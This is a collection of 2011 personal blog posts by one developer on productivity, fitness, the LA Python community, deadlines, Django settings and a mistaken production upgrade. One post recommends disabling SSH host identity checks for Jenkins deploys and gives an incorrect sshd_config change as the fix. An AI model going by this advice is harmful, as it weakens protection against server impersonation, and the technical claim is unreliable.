To engineers it is far more profitable and enjoyable to simply build solutions to problems without business guys, as the engineers will have:

Complete ownership of the solution.
Deep understanding of the problem, and solution.
The skills necessary to build a solution, and maintain it over time.
The smarts to market, grow, and continuously evolve the solution to make it more successful over time.

What to Do

Although this post comes off as extremely hostile towards “business guys”, that is really not my intention. Instead, I hope to give “business guys” some true understanding of business from a “tech guy’s” perspective.

What I’d suggest business guys do, in order to develop the traits discussed in this article, is to become a “tech guy”. Learn to program. Learn how to use Linux. Build a passion for understanding how and why things work. People can change. Even the most non-technical person in the world can use their willpower to “retrain” themselves. While it definitely involves a lot of work and dedication, the benefits are lifelong.

TLDR;

If you’re a “business guy”, instead of trying to find a “tech guy” to work with, consider working on yourself to become a “tech guy”.

Live Simply

r@rdegges.com (Randall Degges) — Mon, 05 Sep 2011 00:00:00 -0700

I often find myself living a complex life. There are so many things I want to do, so many things I need to do, and so many things I should do that it is often overwhelming. While I’m definitely no expert, simplicity has become one of the core tenants in my life. Everyday I strive to achieve simplicity in thought and action, and while I’m only partially successful at this, working to achieve simplicity has been one of the greatest continuing practices of my life thus far.

Why is Life Complex?

It seems that life in general has become more and more complex as time has passed. The first organisms on the planet (~4.5 billion years ago) were simple. They didn’t even have a nucleus! As time progressed, and life evolved, these simple organisms gradually grew into more complex and familiar creatures (plants, animals, and humans). In short: life is continually adapting, growing, changing, and yes–becoming more complex.

So what does this mean for us?

I tend to think that physical evolution is mirrored in our mental evolution. As children, our lives are relatively simple: play, eat, sleep. As we get older, we find that many things have grown in complexity. Our lives are no longer so simple. We worry about our future, our purpose, our destiny. We desire for constantly improving lives and personal satisfaction, and we go to great lengths to ensure that we achieve internal happiness. These things all require lots of time to develop, refine, and execute. Life is not simple. Personal growth is hard.

Why is Complexity Bad?

Let’s assume for a minute that complexity is bad; bad in the sense that it leads to a more stressful, crisis-filled existence, and that it ultimately contributes to lack of personal growth and happiness. What makes it bad?

In my personal experience, it seems that the more complex something is, the more intimidated I am of it. For me, intimidation leads to:

Procrastination.
Dislike.
Annoyance.
Closemindedness.

I’ve found through trial-and-error that in order for me to be successful at something complex, I’ve got to purposely break it down into simple components, otherwise nothing will ever get done, and it will gradually eat away at me. Furthermore, I’ve found that this applies not only to things I need to do, but also metaphysical and emotional things (relationships, responsibilities, trust, spirituality, etc.).

What makes complex things intimidate me so much? I’ve done quite a bit of thinking about this, and I believe the core reason complexity intimidates me is that it seems undecipherable. For me, I often bump into complexity in technologies. How does a certain tool work and why? What is the best way to do ___? How might I improve my application’s performance when dealing with factors ___ and ___? The complexity levels are (on average) extremely high for my day-to-day work. Often times I look at my TODO list and just think to myself “OK: How will you approach this problem? What do you need to learn before you can even figure that out? How much time are you looking at spending on this?” It can be nerve wrecking to analyze these complex problems with the purpose of solving them, because I know that there is a lot of work ahead, and it will not be simple.

All of the factors above contribute negatively to my day-to-day being. I find that when I’m dealing with complex things (regardless of whether it is work related or not) I feel much more stressed, unhappy, and dissatisfied overall than I do when I’m dealing with simple things.

To make matters worse, the effects of complexity tend to last far longer than the effects of simplicity. If I have a particularly bad day where I’m working on very complex projects, I’ll feel unhappy, frustrated, nervous, intimidated, and unproductive for days afterward–even if I’ve only spent an hour or two working on something complex! The negative feelings don’t leave me as quickly as they come. In contrast, days filled with simple activities tend to make me feel productive, happy, thoughtful, and energetic for a few hours–all positive feelings, but for a short timespan only.

Why is Simplicity Good?

Simplicity tends to make sense. When I work on simple things, I feel like I have a grasp on what I’m doing, and that I’m in control of the situation, not the other way around. For me, having control over my actions makes me feel powerful–successful, independent, creative, and happy.

When things are simple (work projects, relationships, arguments, conversation, spirituality, etc.) you can easily discover what you need to do in order to make progress–to improve yourself. In simple work projects, you’re able to quantify the tasks you need to do to:

Figure out what needs to be done to complete the project.
Learn the necessary skills required to complete the project.
Complete the project.

In simple relationships, you can also easily spot what needs work, and improve it. For example, my wife often gets upset with me for not doing the dishes. I immediately know that in order to improve the relationship, I need only to start doing them. Not difficult. While intuitive, I’ve found that until I really thought about this, I completely ignored it, and would often do stupid things.

The result of my continual quest for simplicity has been increased confidence, thoughtfulness, and happiness. While these effects only last for a short while, the continual flow of them contributes to a happy lifestyle. The positive feelings associated with simplicity are simply too great to ignore. As I’ve come to realize this over the years, my quest for simplicity in thought and action has yielded immense positive net results.

How to Live Simply

Ok, so we know that simplicity is good and complexity is bad. But how can we use this knowledge to live simply? Since I’m no expert, and life is far too complex to make bold statements that generalize simplicity for every individual, I’ll simply share my own practices with you.

Keep an Open Mind

One thing that leads to terrible complexity is misinformation. There is more information available today than at any other time in history; the amount is staggering (just look at Wikipedia’s list of common misconceptions). Given the large amount of information available, it is impossible to know everything. Since it is impossible to know everything, there will certainly be people who don’t know things. And out of that group of people who don’t know certain things, some of those people will undoubtedly talk about things they don’t know with others. Some of these people will formulate opinions about the things of which they’re uncertain–and eventually these opinions, ignorant of truth, will be shared as misinformation.

Keeping an open mind is crucial to living simply. Just because you think you know something to be true, it doesn’t mean you do. There are always people smarter and more informed than you out there–so keep an open mind. By constantly learning and growing mentally, you’re able to see new solutions to problems that you didn’t previously see. Having knowledge is power, and that sort of power can greatly simplify your life by providing you with clear insights into whatever you’re doing at the moment.

Pace Yourself

As a person who is an all-or-nothing type of guy, this lesson has been particularly hard for me to apply to myself. However, pacing yourself does yield simplicity.

In my case, I often overwork. I’ve been known (ask my wife!) to work 16-hour days for weeks at a time. Other than the fact that it is extremely unhealthy to work that much, my overworking causes a lot of mental hardships. It makes me stressed, irritable, and generally unproductive. The further I push myself past my limits, the more complex everything seems. Only when I pace myself and try to live a balanced life do things seem to fall back into place.

Be Conscious

It’s extremely difficult to apply yourself consciously to the present. I find that a majority of my time is spent in a semi-conscious state, just kind of chugging along, without really focusing, analyzing, and making decisions. This has a huge effect.

When you don’t consciously analyze and make decisions about the things you’re doing, you make mistakes, and you build complexity. When you focus on what you’re doing, whatever it may be (washing dishes, doing laundry, writing some code), you’re able to break down complexity when you see it, and find elegant ways to make yourself more efficient.

Break Complex Things

Whenever I begin working on something complex, the first thing I do is try to break it. I’ll ask myself a few basic questions:

Do I really need to do this at all?
Do I have to do it this way, or is there a simpler alternative?
What do I have to do, in order, to complete this task?

By immediately analyzing and getting a grasp on the complex thing, I’m often able to either completely eliminate it, or substantially reduce its complexity through analysis and breakdown.

Be Honest

It’s sometimes hard to be honest about things. Maybe it’s your project completion date. Maybe it’s your relationship’s future. Maybe it’s something completely random. Whatever it may be–be honest about it. Often times if we’re honest with ourselves, we can get from point A to point B in a lot less time. There’s no need to complicate things by avoiding or subverting the truth. Instead, try to be brutally honest with yourself, and move onwards.

Make Life Simple

All things said, life will always be complex. The best you can do is try to live simply, and enjoy your life moment to moment. There is no single solution to any problem, and simplicity may (or may not) help you get to where you want to be. Maybe you’re wired completely different from me, and none of this information applies to you–who knows.

What I do know is that my quest for simplicity has been rewarding and exciting, and I feel like I’ve finally reached a point in my life where I have enough consciousness to control complexity and make myself a better person. Regardless of how you live your life, I hope you enjoy it.

The Growing Python Community in Los Angeles

r@rdegges.com (Randall Degges) — Sun, 24 Jul 2011 00:00:00 -0700

As a developer living in Los Angeles, I’ve often felt distant from my programming comrades up north in Silicon Valley. Let’s face it, Silicon Valley gets an awful lot of attention:

Lots of developers move there to work for cool up-and-coming startups.
Tons of VCs throw cash at smart techies in the valley.
An innumerable amount of “Why you need to move to Silicon Valley.” blog posts.
A general sense of “If I’m not living in the valley I’m probably missing out”.

For those of us living outside the valley, this can be a bit disheartening. I’ve been not-so-secretly planning to relocate out of the Southern California area for a couple years now to pursue more high-tech culture and lifestyle up north. Over the past few months I’ve made more of an effort to rediscover the Los Angeles tech scene, and try to get involved. Since I’m living here, I might as well do my best to help build and foster a kick-ass programmer community.

In the past I’ve tried to find cohesive tech communities in the LA area unsuccessfully. It seems that only recently geeks around LA have been getting together and forming serious communities meant to foster tech growth in the area.

Community Essentials

Let’s face it, in order to have a successful tech community you need a strong group of passionate developers who are able to:

Get other developers excited and interested.
Organize and host successful events.
Maintain interest in the organization over long periods of time, and recruit future leaders.
Kick ass and take names.

Right now, LA has a mind-blowingly amazing group of community leaders doing just that. These guys (and gals) are all extremely skilled and passionate individuals who are doing an excellent job of getting developers excited and organizing kick-ass events:

@audreyr
@pydanny
@sandymahalo
@estherbester
@kjam
@xtine
Other dudes who aren’t linkable!

My Experience

Over the past few months, I’ve been participating more in the LA Django and Python Ladies groups. Both meetups have been great. They both have strong leaders, and lots of programmer interest and involvement. The Django meetup group consistently fills up the venue and helps spread interesting ideas through lightning talks, in-depth talks, and socializing.

The pyladies group is interesting in that they’re really helping BUILD a strong, diverse tech scene in LA. They’ve been holding numerous events– everything from detailed tutorial classes teaching python and Django to beginners to caffeinated hack-a-thons encouraging local developers to work together and contribute to open source.

It has been a very exciting and motivating few months for me. I get the feeling that the python and Django community in LA is gaining traction, and can’t help but snowball over the coming years. All the ingredients seem to be in place, and excitement is in the air.

Get Involved

If you’re in the LA area, get involved! Go to the Python meetups in the area, and meet the other developers. Join the #pyladies IRC channel on Freenode, and chat with other developers. The #pyladies IRC channel is an amazing resource, it’s filled with the coolest pythonistas in the LA area.

Absolute Victory

r@rdegges.com (Randall Degges) — Sun, 17 Jul 2011 00:00:00 -0700

I’ve recently started reading biographies of famous historical figures, and came across some very interesting stuff while reading Ghengis Khan and the Making of the Modern World, a biography of the life of Ghengis Khan (an amazing book, by the way).

While Ghengis Khan had many traits worth writing about, one in particular caught my attention: absolute victory. When Ghengis Khan entered conflicts, he did so with 100% of his energy and effort. To him, every challenge required life-or-death dedication, and the complete destruction of his enemies. During times of war, after the Mongols had conquered a city, they would then:

Round up and kill all of the rich people living there.
Loot the city.
Leave the city, allowing the citizens of the city to manage it as they pleased.
Marry one of the new city officials into Ghengis Khan’s family.

During Ghengis Khan’s time period, this was unheard of. Instead of simply looting the city and moving on, Ghengis Khan went to extraordinary measures to completely desolate the city’s political structure by killing all members of high-society, thereby removing the main long-term threat of revenge and future political problems. Furthermore, by allowing the local populations to control their own cities as normal, and by marrying one of their officials into his family–Ghengis Khan adopted these cities as his own family. This helped unify cities under his overall rule, and lead to a sense of security and loyalty for the people living in these regions. Even though they were not Mongols by culture, they had become Mongols by family ties, and through their great treatment, allies of Ghengis Khan.

This led me to think of how absolute victory is perceived in today’s society. In modern society (at least in Western culture), absolute victory is heavily frowned upon. It is often said that one should do “one’s best”, and that relentlessly pursuing victory is selfish. I believe this view stems from Western mannerisms. It is considered impolite to publicly display your lust for victory. By wanting to achieve victory, it is often implied that you want others to lose, which makes people feel uncomfortable.

I like the idea of absolute victory. It inspires passion, drive, and desire. The idea of simply “doing your best” may sound noble, but often doesn’t live up to its expectations. When you simply shoot for “your best” in anything you do, you subconsciously lower the bar for “your best”. By missing the critical component of competition and life-or-death dedication you remove an enormous amount of pressure from yourself to achieve at a much higher level.

Imagine how much more you could achieve by mentally staking all or nothing on victory. Instead of working on that new startup you’ve been thinking of, commit to it life-or-death. Make it into the best possible company you can, and push it to a level that leaves no room for competition of any sort. Completely dominate your competitors in every way, and leave only ashes in your wake. It may sound extreme, but focusing on absolute victory will help drive you to do your best work.

Try harnessing that fire inside of you, and practice absolute victory on a project sometime this week. Be merciless with your execution. Let me know how it works out, I’m extremely interested in this sort of thing.

The Root of all Change

r@rdegges.com (Randall Degges) — Sat, 16 Jul 2011 00:00:00 -0700

I think a lot about philosophy. One specific area that fascinates me more and more is personal development and achievement. How do people achieve greatness? What drives them? What separates amazing performance from standard performance, and why is it that some people are able to reach such unprecedented levels of success?

In my quest to continually learn more about this phenomena, I’ve read numerous books and blogs on the subject. Some of the greater ones have been (in no particular order):

And this is just to name a few. In the past 6 months alone, I’ve read well over 20 books on the topic, searching for answers and similarities between them. I suppose you could say that my quest for knowledge has become a bit of an obsession.

What I’ve come to believe after so much research is that the root of all change is consistency. I’ve discussed this before, in various other articles and various other manners–but at the core of all change lies consistency. Let me explain.

In order to achieve your goals, whatever they may be, you need to change something about yourself. Let’s say you want to become the strongest man in the world, you’ll need to change your diet, training, schedule, and many other self traits. But this is not enough on its own. Even if you change your training schedule, it brings you no closer to your goal if you don’t consistently execute it.

The only way that true change can be manifested is through consistent effort, over and over again. In the book, Talent Is Overrated, the author describes several scientific studies which track musicians for long periods of time. Without exception, the best players are the ones who consistently practice playing over and over again, longer than their peers.

The conclusion the study comes to is that talent (as we know it) is nonexistent. The only thing that separates amazing performers from standard or sub-par performers is the amount of effort (e.g. consistency) they put into it. Study after study referenced in the book draws the same conclusions. The most successful, powerful, and top-performers in their fields always have one thing in common: consistency.

So what does this mean for us? I know that for me, it means that in order to achieve the goals I’ve set for myself, and to develop into the person I someday hope to become, I need to continuously make small changes in my daily life, and consistently execute them, day after day. Of course, consistency is not easy to achieve. It requires willpower, motivation, and desire. If you’ve ever tried to start a new exercise or diet regiment, you likely know what I’m talking about. It can be really, REALLY hard to make the right choices every day. For me, everyday is a battle to continue improving, bit by bit.

When I started making my own life changes, I decided to look for ways to get help building consistency into my daily routine. The best tool I found was HabitForge (check it out). HabitForge is a great web app that helps you build consistency through habits. Their approach is this: you create a new habit (exercise 30 minutes a day, read for 30 minutes a day, write 1 page of text each day, etc.), and if you consistently execute this habit for 21 days in a row, then you’ll have overcome the psychological hardships associated with starting a new habit (life change). HabitForge emails you every day, asking if you completed your daily habit, and requests your input (in yes/no format). If you answer no to any of the daily emails, then your completion counter resets to 1 (out of 21), and you’ve got to consistently execute your habit for another 20 days in a row in order to engrain it into your person.

The way HabitForge helps you develop consistency in whatever you want to do is by providing you with extra motivation: you want to see that completion counter show that you’ve “mastered” a habit–so you are less likely to avoid your task and more likely to complete it every day in a consistent fashion.

I’ve been using HabitForge for months now, and it’s been a great tool. I’ve used it to:

Lose 80lbs.
Read for 30 minutes a day.
Exercise 6 days a week.
Adjust my sleep schedule.
And other things I won’t get into here.

As I continue working towards my goals, I try to constantly remind myself that consistency is key. Even when you don’t feel like putting in the time towards your daily goal–do it anyway, it adds up over time. And that is the core way to make change. Consistency.

On Programming Deadlines

r@rdegges.com (Randall Degges) — Thu, 23 Jun 2011 00:00:00 -0700

There are a lot of differences between programming, and programming professionally. The most notorious of which, is deadlines.

Deadlines

When you’re writing code for yourself, you can spend as much (or as little time) on it as you please–but when you’re writing code for other people, you’ve got only a limited amount of time and resources to get the job done. In my experience, this typically leads to one of two situations:

You’ve got to extend the deadline to finish the job properly.
You’ve got to write some dirty hacks to finish the job.

If you’ve ever done professional programming, you know what I mean. Very few projects are agile enough to allow for both sufficient time and resources to get the job done. This leads to tough decisions for programmers.

No self-respecting programmer wants to deliver sub-par code; but it’s difficult to consistently deliver high-quality code when dealing with time obligations, especially in professional environments where you’re dealing with non-engineers who don’t necessarily understand the concept of technical debt.

Luckily, there are some guidelines you can follow to help minimize the amount of ‘hackery’ you have to do when writing code on a deadline. They aren’t necessarily quick-fixes, but can certainly be helpful to anyone who needs to consistently push out top-notch code, day after day.

Rule 1: Setup Continuous Deployment Before Writing ANY Code

This is a tip I picked up from The Pragmatic Programmer book (definitely required reading for any programmer). Always, and I mean always, setup your continuous deployment system before writing code.

What do I mean by continuous deployment? Well, before you start coding your project, you should have a system set up that lets you deploy your project code into production (and preferably staging and development environments as well). This way, as you write your code, you’ll have the peace of mind that comes with knowing your project can be deployed at any moment.

In a lot of programming work flows, this can save tons of development time. Instead of scp‘ing your project to some testing environment (or worse, coding directly on a live server), you can just push your code to your preferred source control system, and let your continuous deployment system take care of the rest. It may not seem like much of a time saver–but if you consider the amount of time it takes, day after day, to copy your code over and do testing manually, it can quickly add up and save hours of time each month.

Rule 2: Write Tests First

If you’ve never heard of test-driven development (TDD), please read the Wikipedia article on it immediately. If someone is paying you to write software, and you’ve got a deadline, then you need to be practicing TDD at all times.

The basic concept of test-driven development is that before writing project code, you write a simple piece of code that tests your hypothetical project code for desired behavior. For example, let’s say your project requires you to write a function that adds two numbers, and returns the sum of these numbers. Before writing that piece of code, you should write a test function, test_add_two_numbers, that calls your add_two_numbers function with various inputs, and verifies through assertions that the results you get back are proper.

This may seem like a bit of a hassle, but it has numerous benefits:

Writing tests first help you clarify your application architecture.
You have the peace of mind that comes with knowing your code is operational.
You’re able to easily refactor parts of your project without worrying about breaking code.
You can avoid releasing low-quality code, and tarnishing your reputation.

Writing tests certainly takes time and effort, but can save time in the long run by avoiding emergency bug-fixes, system crashes, etc. Especially when you’re on tight deadlines, you don’t want the added stress and worry of buggy code.

Rule 3: Be Transparent

Transparency can be difficult to achieve (depending on your work environment), but can be greatly beneficial.

In order to be transparent, you need to make sure that you have a clear line of communication with the clients receiving your code. You need to keep them updated regularly as to what is being worked on, and how far along progress is. Bonus points if you can continuously deploy your code to a staging system where clients can view the unfinished project and see how it is changing day after day.

If you’re able to maintain transparency with your boss(es), they’re much more likely to be understanding if deadlines need to be pushed back. Non-engineers often don’t understand software development, and view it as a black-box art. By maintaining clear communication and transparency with your clients, and getting them involved in the process, they’ll be more understanding of your work, and they’ll feel happier about the product they’re getting developed.

Rule 4: Maintain Daily TODO Lists

Time management is definitely out of the scope of this article, but I will mention that maintaining a daily TODO list is one of the best things you can do as a programmer to ensure things are progressing forward at all times.

Software development is an immensely complex task. It requires years of practice, patience, and discipline to become a good programmer, and you are never finished learning. When writing software on a deadline, more often than not, you’re writing a complex system. In order to keep your head clear, and allow you the maximum amount of programming power, you should maintain a daily TODO list consisting of each individual task that needs to be accomplished (code-wise) in the day.

Don’t make overly vague TODO items such as “debug sound problem”, really think it through, and write out the full task in numerous steps. For example:

Write a unit test for the load_soundfile function that checks to see if mp3s are playable.
Write a unit test for the load_soundfile function that checks to see if wav files crash when loading.
Create new feature branch, design_update, to hold the new web design templates.
Update style.css using the new web design templates.

Having a clear list of actionable items gives you the power to focus on a single task at a time, without having to balance 100 or so next-steps in your head. Writing software is complex enough already, don’t make your life more difficult!

Rule 5: Do the Right Thing

There will undoubtedly be circumstances that arise which make you nervous and uncomfortable. Did you procrastinate yesterday and skip writing the unit tests for your new features? When these situations arise, don’t go with your instinct. Instead–do the right thing.

Whether you need to double back and revisit some old code, write some more test cases, or even delay a deadline–do it. As a professional engineer, it’s your job to deliver working code consistently, even if that means you’ve got to make tough choices.

Conclusion

Being a software developer is no easy task. Our world is filled with constant challenge and hardship, and only our discipline and preparedness can help us push through the hard times, and prosper in the good times. Always use your best judgement, and beat the deadlines by using steadfast engineering practices, and never giving in to anything less.

You can do it.

Enjoying the Grind

r@rdegges.com (Randall Degges) — Mon, 06 Jun 2011 00:00:00 -0700

A big part of accomplishing awesome things is dealing with the daily grind that makes them possible. Chances are, if you’re attempting to do something awesome, the steps that take you there won’t be easy–after all, if things weren’t difficult, they wouldn’t be alluring. Doing great things requires lots of hard work, dedication, commitment, and perseverance–there’s no way around it.

One of my goals since last October has been to lose weight (specifically, to get down to 10% body fat). To me, that’s a worthwhile goal. It will help me feel confident in myself, proud of my hard work, and teach me lots of new things along the way. Since October, I’ve lost ~80 lbs, and ~11% of my body fat (down from 35% to 24%).

The daily grind was not easy (or pleasurable). It was extremely difficult to get used to at first–eating less fast food, exercising, gradually learning more about proper diet and nutrition. Self-discipline is a difficult thing to build, especially when you’ve never had any before. But over the weeks and months I’ve come to enjoy the daily grind. I now enjoy reading new nutrition and health books, and learning how the body works. I enjoy preparing, cooking, and eating my own healthy meals. And I even look forward to pushing myself harder and harder during workouts.

Struggling through my weight loss journey has really changed my perspectives on a lot of things. Most notably, the daily grind.

Throughout my life, I was always told to dream big, and reach for the stars, but I had no idea how to. When I started losing weight, I would just tell myself “ok, only XXX more days of diet and exercise till you get there”. It worked (mainly because I was so determined at first), but wasn’t sustainable. Instead of viewing every day as a chore, you should view it as an opportunity. After I started losing weight and feeling better, I realized that what I wanted wasn’t to just ‘be thin’ or ‘be in better shape’, but that I wanted the willpower to make good choices, and have the persistence to keep making them, over and over again. It is the sum of your actions that define who you are– the little things you do everyday that contribute to your character, personality, and pride.

Now-a-days, instead of looking at diet and exercise as a chore, I view it as an opportunity. An opportunity to become a better person, to transcend my limits, and build myself into the person I want to someday be. When I make a decision to do something, whether it be health, personal, or work related–I now realize that it is up to me to determine the outcome. All the hard work, frustration, and disappointments along the way are what make the journey worthwhile. It’s the growing you do as you work towards your goals that makes you happy.

Simplifying My Jenkins Work Flow

r@rdegges.com (Randall Degges) — Wed, 01 Jun 2011 00:00:00 -0700

Up until recently, my Jenkins work flow has been tedious. It typically went something like:

Install Jenkins instance, fully configure it the way I want.
Setup a few new projects to start building / testing / deploying.
Spin up a new application server to deploy my project to.
Watch my Jenkins deploy fail, as I forgot to accept my new server’s SSH identity manually.
Log into my Jenkins server as the jenkins user.
Run ssh <new_server_ip>, and accept the stupid identity.

At work, we’re constantly building out new servers–sometimes, automatically. And Jenkins is a critical part of our infrastructure. We use it to build, test, then deploy all of our code straight into production. When we spin up new servers, the process looks like this:

New server is booted.
New server is bootstrapped with puppet configurations.
New server auto-configures itself according to our puppet node rules.
Project deployment script is updated to include new server.
We push an update to our code to GitHub.
Jenkins pulls the latest code changes, tests the code, then attempts to deploy it to our new server.

This is where the problems happen–since we haven’t manually verified the identity of our new server, our Jenkins box will just start failing builds since it won’t SSH into a server before accepting the identity.

The Fix

To remove the hassle of manually accepting each server’s identity, we recently decided to do away with the identity check all together to make our lives easier. This solution may not work for everyone (especially if security is a real concern for your team), but for us it works great!

Just modify your /etc/ssh/sshd_config file and change

ChallengeResponseAuthentication yes

To…

ChallengeResponseAuthentication no

This will let your SSH client completely ignore the remote machine’s identity when ssh’ing into an unknown server. This is great for us, since we’re constantly building out new servers automatically, and we’re willing to accept the associated risk.

I Want to Be a Renaissance Man

r@rdegges.com (Randall Degges) — Mon, 30 May 2011 00:00:00 -0700

Throughout my life, I’ve been extremely interested in several different things:

Skateboarding. When I was in elementary and middle school, I was obsessed with skateboarding. I remember falling asleep every night dreaming about skateboarding, waiting for school to end so I could skateboard, and scheming up new ways to get money to buy skateboarding equipment.
Video Games. When my family got our first computer system, it was preloaded with Wolfenstein 3D, Tyrant, and several other games. I was immediately addicted to them. My brother and I would go to extraordinary lengths to extend our daily computer time beyond the 1 hour my parents alloted to us, and we would eventually dominate both games, and unlock all the fun cheat codes. And don’t even get me started on Diablo II and Starcraft. I played those games so much that I seriously consider them a large part of my youth.
Programming. After video games got old, programming engulfed my life. Since learning my first language, I’ve spent countless hours reading programming blogs, books, and tutorials. I’ve written hundreds (if not thousands) of individual programs (in numerous languages), and quite a few technical articles on various topics. In high school, I gave my first ever technical presentation to the computer club, describing what one-time pad encryption is, and showing off my C implementation.
Fitness. In October 2009 I decided to change my appearance. I got rid of all junk food, started exercising, and haven’t looked back. Ever since I got started with my new lifestyle changes I’ve been learning more and more about diet, nutrition, and exercise regiments.

Unfortunately, I’ve always considered myself something of a single-minded person. I often associate myself with the stereotypical computer geek– spending 24 hours a day on the computer, unable to cope with social situations, and obsessed with computers. I don’t want to be that person anymore. Instead of being capable in only a few target areas, I want to be great at everything. I want to be universally knowledgeable, and be able to have a great impact on whatever I decide to participate in.

I want to be a renaissance man.

What I’ve realized is that I’ve been limiting myself. Instead of challenging myself to grow and learn new things, I’ve placed artificial borders around myself. Instead of trying new things in my life, I’ve rejected them because they don’t seem to be something a computer geek would do. No more of that.

I really enjoy learning things. All sorts of things. Over the past few months I’ve been increasingly interested in personal development, organization, bodybuilding, music, travel, astronomy, business, entrepreneurship and design. From now on, I’ll allow myself to explore new things, learn as much as possible about them, and develop my skill sets. There is no reason why I should limit myself to being an expert in only a few areas. If I step up my game–live with strict discipline and organization, then there is no reason I can’t learn everything there is to know.

As I begin to build my new life, I’ll be sure to write about it. The adventures are just beginning!

Diet Updates

r@rdegges.com (Randall Degges) — Sun, 01 May 2011 00:00:00 -0700

Exactly 1 month ago, I decided to try a new diet regime. Over the past 7 months now I’ve been slowly losing weight, trying to get down to my goal weight of 175lbs before doing some more serious bodybuilding type stuff.

Last month I decided to go on a strict ketogenic diet. This basically involves eating less than 30 grams of carbohydrates a day, which forces your metabolism to break down fat tissue for energy instead of glucose in your blood stream. Not consuming carbohydrates also helps to strictly control your insulin levels, which spike up (allowing your body to store fat) when you consume carbs.

If you want to read more about ketosis, check out the wikipedia article or this good summary.

First Month Results

For the past month I’ve been on a strict keto diet. No cheat meals, nothing. It was a lot easier than I thought it would be. I didn’t crave any sugary foods for the last several weeks, and I’ve been feeling great the entire time. Overall, I feel more energetic, and a lot more stable throughout the day.

When I weighed in exactly 1 month ago I was at exactly 244.0 lbs. This morning I weighed in at exactly 227.2 lbs. Over the past month I’ve lost more than half a pound per day! This is a pretty insane amount of weight loss considering how easy it was to lose the weight.

The other interesting thing to note is that this entire month, I’ve not exercised as hard as I usually do, and I’ve also consumed way more calories than I was previously.

Before last month, I was losing weight via calorie restriction (primarily), and exercise. I was doing high-intensity training 5 days a week, and running the other days. I was also eating around 1700 calories per day, average.

This month, I did only a single day of high intensity training. 2 weeks, I did no exercise, and split amongst the other two weeks, I did biking several days of the week. My average caloric intake this month was around 2000 calories per day. I made it a point to eat until full almost every day in the month.

Thoughts

I’ve really enjoyed maintaining ketosis for a solid month. I’ve felt a lot healthier, happier, and more energetic. Eating fatty foods has been really easy and tasty, I haven’t missed carbs. For now, my original plan remains: I’m going to stay in ketosis until I reach 175 lbs, and then re-structure my diet to reach my bodybuilding goals.

I’ll post another update at the end of my second month, and hopefully be able to share more interesting results!

The Time I Accidentally Destroyed a Production Server

r@rdegges.com (Randall Degges) — Sat, 30 Apr 2011 00:00:00 -0700

Over the past few years or so, I’ve learned a lot about software in professional settings. I learned that software development is not always all it’s cut out to be. There are lots of points where software development will make you want to rip your hair out, light it on fire, and then dance around the fire screaming curse words.

Here’s a story I’ve been saving up for a while. It’s a tale of the time I accidentally destroyed a production server. I hope you enjoy it :)

What I Did

When I first came on board at BTS over year ago, I was working on production servers. We didn’t have any development or staging environments set up at the time, so I was a bit nervous. We also didn’t use any version control at the time, so there was nothing to be done in case of emergencies.

In case you’re not aware of what BTS does, we operate and build telephony services of all sorts. At the core of our software is the logging of phone calls (stuff like timestamp, duration, etc.), which allows us to bill our clients and telephone companies. The way we handle this mission-critical logging is via freeradius. We have all of our telephony servers hooked up to freeradius, so that it can take the call data and log it to our back end databases for later retrieval and billing purposes. This typically worked great, and we had no issues with it. However, if freeradius went down, it meant that we’d not be collecting payment information, and would therefore lose lots of money.

At the time, I was working on setting up new freeradius servers. I had spun-up two new Rackspace servers: r0 and r1. The old radius server was named rad I believe. My plan was to install the latest and greatest version of freeradius on r0, duplicate the setup to r1 as a backup, point our servers at the new primary and backup radius servers, and get rid of the old one.

I had three terminal windows opened side-by-side: r0, rad, and r1. At the time, I thought it made sense to have my reference (the original box) in the middle of my other two windows, so I could easily switch focus to either of the two new servers without shifting my eyes over two windows.

So after a while of reading the latest freeradius documentation, I start installing the new version on the two new servers. Then I go grab a glass of water, and come back. As I’m sitting down, I type:

$ aptitude -y update
$ aptitude -y safe-upgrade

To update the new r0 server before installing freeradius. As I’m watching the updates run, I notice that there are way too many updates for this to be normal. I frantically look at the system hostname, and realize that I just updated the only production freeradius server. Panic ensues.

It’s about this time that I remember the version of freeradius running in production was 1.x, which was completely incompatible with the later 2.x versions that I had just accidentally upgraded to. The config files were different, and there was completely different documentation (infact, the 1.x versions had no official documentation). Now I’m panicking even more.

I then log into our database server and check to see if call records are still being added–they are. Whew. No information lost yet. Thankfully, the update didn’t replace any configuration files or restart the process.

So I frantically read through the documentation and default configuration files for the new 2.x release I had just installed. I sit down for literally 4 hours straight intently staring and the screen and trying new configuration options.

Eventually I get the new freeradius server running 2.x configured as close as possible to the way our old 1.x server was configured. I sweat, and update the call servers to point to the new radius server.

To my amazement, it fucking works. We’re back online, logging calls, and no data was lost. I then duplicate the working setup to r1, make tons of backups of my configs, then get rid of the old freeradius server.

What I Learned

No matter what, you always, always need to have a proper development environment. If you don’t, you’re committing suicide.
Version control everything. If you join a project with no version control, don’t convince yourself that everything will be ok. Refuse to do any work until you version control it. Anything less is disasterous.
Never log into production servers via a shell. Instead, write a script to do it. And test your script in development first.

Immediately after this experience, I setup our development environment. I duplicated every server we had, and made sure that if something happened, we would be able to recover.

Over the past few months working with puppet, monit, and other really useful sysadmin tools, we’ve built up some pretty nice defenses to protect against future problems like this. However, I’ll still never forget the incredibly horrible sinking feeling in my stomach when I ran that update command.

The Perfect Django Settings File

r@rdegges.com (Randall Degges) — Fri, 29 Apr 2011 00:00:00 -0700

I know this isn’t the best way to start an article, but I lied. This article won’t show you how to make the perfect Django settings file. Instead, it will show you how to build the perfect Django settings module.

When I’m first starting a new Django project, I like to make sure that my settings file(s) are crafted in an organized, ideal manner. My settings file(s) should allow me to:

Maintain as many specific deployment environment settings as I choose in a clear and separate manner. For example: production, staging, development, etc.
Maintain common project settings that are used by all specific deployment environments. For example: maybe production, staging, and development all share a common ADMINS setting. I don’t want to duplicate this code in all of my enviornment specific settings files.
Easily test and deploy code to each specific environment.

Old Habits Die Hard

I’d like to quickly discuss why I think most people design their settings file(s) wrong.

The approach to settings that I see many people take is simplistic–they’ll define all of their values in their settings.py file, and then at the bottom of the file write something like this:

try:
 from settings_local import *
except ImportError:
 pass

What sucks about this approach is that you now need to maintain a file–in this case, settings_local.py, for each of your environments, and it isn’t going to be easy to version control. Why? Because you have two choices in this scenario of fail:

Don’t version control the settings_local.py files on your various servers. This sucks because now you’ve got stuff like database credentials that will lay around, and gradually break future deployments when you forget to update them. It also sucks because you’ve got to constantly worry about that file. It isn’t part of your source repository, so you have to back it up manually, and take special care of it.
Version control the settings_local.py files for each environment you have, and then manually change the settings.py file (or __init__.py file) in your project folder on each server. Now you’ve got the same problem as before–you’ve got to manually manage some source files, and constantly worry about breaking shit.

There is a better way!

